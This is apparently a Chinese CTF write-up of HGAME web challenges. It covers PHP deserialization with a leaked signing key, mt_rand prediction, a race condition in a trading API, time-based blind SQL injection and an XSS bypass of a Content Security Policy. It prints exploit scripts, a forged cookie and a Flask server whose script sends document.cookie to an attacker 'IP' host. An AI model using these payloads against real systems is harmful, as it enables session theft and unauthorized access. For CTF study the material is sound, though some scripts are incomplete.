序列之争 - Ordinal Scale
这道题目是一个打怪升级,冲到第一就能够获得flag的web程序,F12大法看得到提示,可以得到源码,开始代码审计
主要代码有3个,index.php和game.php都是前端渲染相关的,游戏的主要处理代码都在cardinal.php中,整个代码读下来大概就是,开始游戏,传入姓名参数,进入game界面 –> 生成一个怪物,并将怪物信息经过一些拼接处理放入cookie的moster中,点击页面的挑战按钮,开始打怪,比较人物和怪物的等级,等级低者获胜,人物获胜可以随机获得等级(排名)上升和经验值
但是这里后台做了处理,人物排名最高就为2,所以需要想办法开挂绕过,毕竟桐老爷不也是开挂才赢的吗?手动滑稽.jpg
明白了整体流程,开始寻找突破口,我们前面已经知道,页面加载会产生怪物信息,经过处理放入cookie中,找到相关处理代码,进行了序列化
并且在moster类里面也存在反序列化的操作,从这个题目的名字和这里,大概率是要利用反序列化漏洞了
现在开始分析一下,这个cookie中monster的构成
setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
这句代码首先将monsterData这个参数序列化
1 2 3 4
| $this->monsterData = array( 'name' => $monsterName[array_rand($monsterName, 1)],//随机或者一个怪物名字 'no' => rand(1, 2000),//随机产生一个no,数量??战斗力??=>怪物等级 );
|
序列化后,在和sign字符串进行拼接,sign这段字符是将序列化的monsterData与一个密钥拼接后md5加密的值
最后再将拼接起来的字符串base64 encode后放入了cookie中
但是在这里我们想要构造cookie,去利用反序列化在这里出现了一些限制
在代码的unserialize之前会有一个检查的操作
这里就需要我们知道encryptKey的值,继续读代码,encryptKey来源于game类的sign属性,找到了一处可利用的地方
这里传入的data参数为数组[$playerName, $this->encryptKey],元素中含有 encryptKey 。 分析⼀下这个⽅法的功能,这个 init() ⽅法是⽤来初始化欢迎语 welcomeMsg 以及 sign 。 其中欢迎语 welcomeMsg 的⽣成中使⽤了 sprintf 函数,且放在⼀个循环内,第⼆轮循环的 $value 值 即为 encryptKey 。因此存在格式化字符串漏洞。
进⼊游戏,输⼊名字: %s ,即可使得在第⼆轮循环中 %s 的值被 sprintf 函数换成 encryptKey 。
点 击 Link Start,就可以拿到 encryptKey
接下来就是利用反序列化来构造cookie,但 Rank 类的析构函数:
在设置 Session 前会⽐对 key 以及 serverKey 的值,其中 serverKey 是来⾃于服务器的环境变量,这 个值我们⽆法获得。这里我们在构造exp的时候,直接不设置$key属性,直接构造一个Rank类,反序列化时就会直接读取Rank类中的默认属性,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Rank { private $rank = 1; } $data = ['xianyu','gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL']; $sign = ''; foreach($data as $value){ $sign .= md5($sign . $value); }
$rank = serialize(new Rank()); echo(base64_encode($rank . md5($rank . $sign))); ?>
|
得到cookie,使用xianyu进入game,替换掉
Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fTAyY2Q3YmU2OGVlZTYxZTlhNGZhOWYxNjUyOTcwZmNj
二发入魂!
直接放参考资料
https://ambionics.io/blog/php-mt-rand-prediction
https://github.com/ambionics/mt_rand-reverse
github上提供了计算脚本,写exp的时候调用脚本来计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import os import re import requests s = requests.session() url = "https://twoshot.hgame.n3ko.co/random.php?times=228" cookie = {'PHPSESSID':'5j6ubh4n8t69oqk1gd4gj2jti1'} c = s.get(url,cookies = cookie) ans = str(c.text) ans = eval(ans) R0 = ans[0] R227 = ans[227] req = 'python reverse_mt_rand.py '+str(R0)+' '+str(R227)+' 0 0' p = os.popen(req) x = p.read() p.close() x = str(x.replace('\n','')) url2 = "https://twoshot.hgame.n3ko.co/verify.php" data = {"ans":x} final = s.post(url = url2,cookies = cookie,data = data) print(final.text)
|
But,难受的事情来了,不知道是我电脑计算能力不够,没办法在两秒钟算出来,还是什么原因,无法获取到flag,难受.jpg
Cosmos的二手市场
这道题登陆进入之后,是一个物品交易平台,购买物品后可以卖出,但是卖出时会收取一定比例的费用,
主要的考察点就是条件竞争,关于这方面的知识点,搜索一下就有很多
可以使用bp的爆破,分别为购买和卖出设置不同线程(卖出>购入),同时卖出量也要大于购入量,就可以触发条件竞争,获得更多的收益,达到要求后就可以得到flag
同时也可以直接写脚本,官方提供的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import threading import json import time import requests
def worker(i,data): if i % 2 == 0: url = "{}?method=solve".format(host) else: url = "{}?method=buy".format(host) try: s.post(url=url,data=data) except: print("请求失败") return
host = "http://121.36.88.65:9999/API/" user = { "name" : "five", "password" : "123456" }
s = requests.session() s.post(url="{}?method=login".format(host), data = user)
i = 1
while True: data = { "code": "800001", "amount": "50" } info = json.loads(s.get("{}?method=getinfo".format(host)).text) money = info['data']['money'] properties = info['data']['properties'] print(money) print(properties) if money > 100000000: print(s.get("{}?method=getflag".format(host)).text) break if i % 2 == 0: amount = int(properties[0]['amount']) else: amount = money // 1000 if amount > 500: amount = 500 data['amount'] = amount
for j in range(30): t = threading.Thread(target=worker,args=(i,data)) t.start() time.sleep(5) i += 1
|
Cosmos的留言板-2
登陆留言板后,删除留言处存在盲注,这里使用的是基于时间的盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests import time result = "" cookie ={"PHPSESSID":"01b9hcfu09budsjeeg651vef3h"} for i in range(1,50): print("正在测试第",i) for j in range(37,127): one_time = time.time() r = requests.get(url,cookies=cookie) two_time = time.time() if two_time-one_time >= 5: result = result+chr(j) print('answer:',result)
|
然后就可以得到用户名和密码,用Cosmos的用户名和密码登陆,就可以在留言板看到flag
hgame{sQl_InjEct10n_iS_e4sY!!}
Cosmos的聊天室2.0
第二周题目的加强版,过滤了script字符串,双写就可以绕过,同时绕过过滤后,并没有正常执行xss,在控制台中也发现了一些警告
从警告可以知道我们输入的内容被Content Security Policy给拦截了emmm,其拦截策略为,限制内联js和应用静态资源时只能同源中加载,而这道题恰好给我们提供了一个,发送信息到留言板的功能,这里会返回,过滤后的脚本
这个发送功能由/send这个接口提供,所以我们就发给机器人的脚本中,就可以让机器人带着我们的payload去调用这个接口,
如:<scrscriptipt src="/send?message=alert(123)"></scrscriptipt>
所以这里我们的payload为:
很难受,我构造的全部失败了,持续等大佬WP
在vps上起一个web服务,用于接收
1 2 3 4 5 6 7 8 9
| from flask import * app = Flask(__name__) @app.route('/') def hello_world(): response = make_response("<script>window.open('http://IP/'+document.cookie)</script>") response.headers['Access-Control-Allow-Origin'] = '*' return response if __name__ == '__main__': app.run(host="0.0.0.0",port=80)
|
At last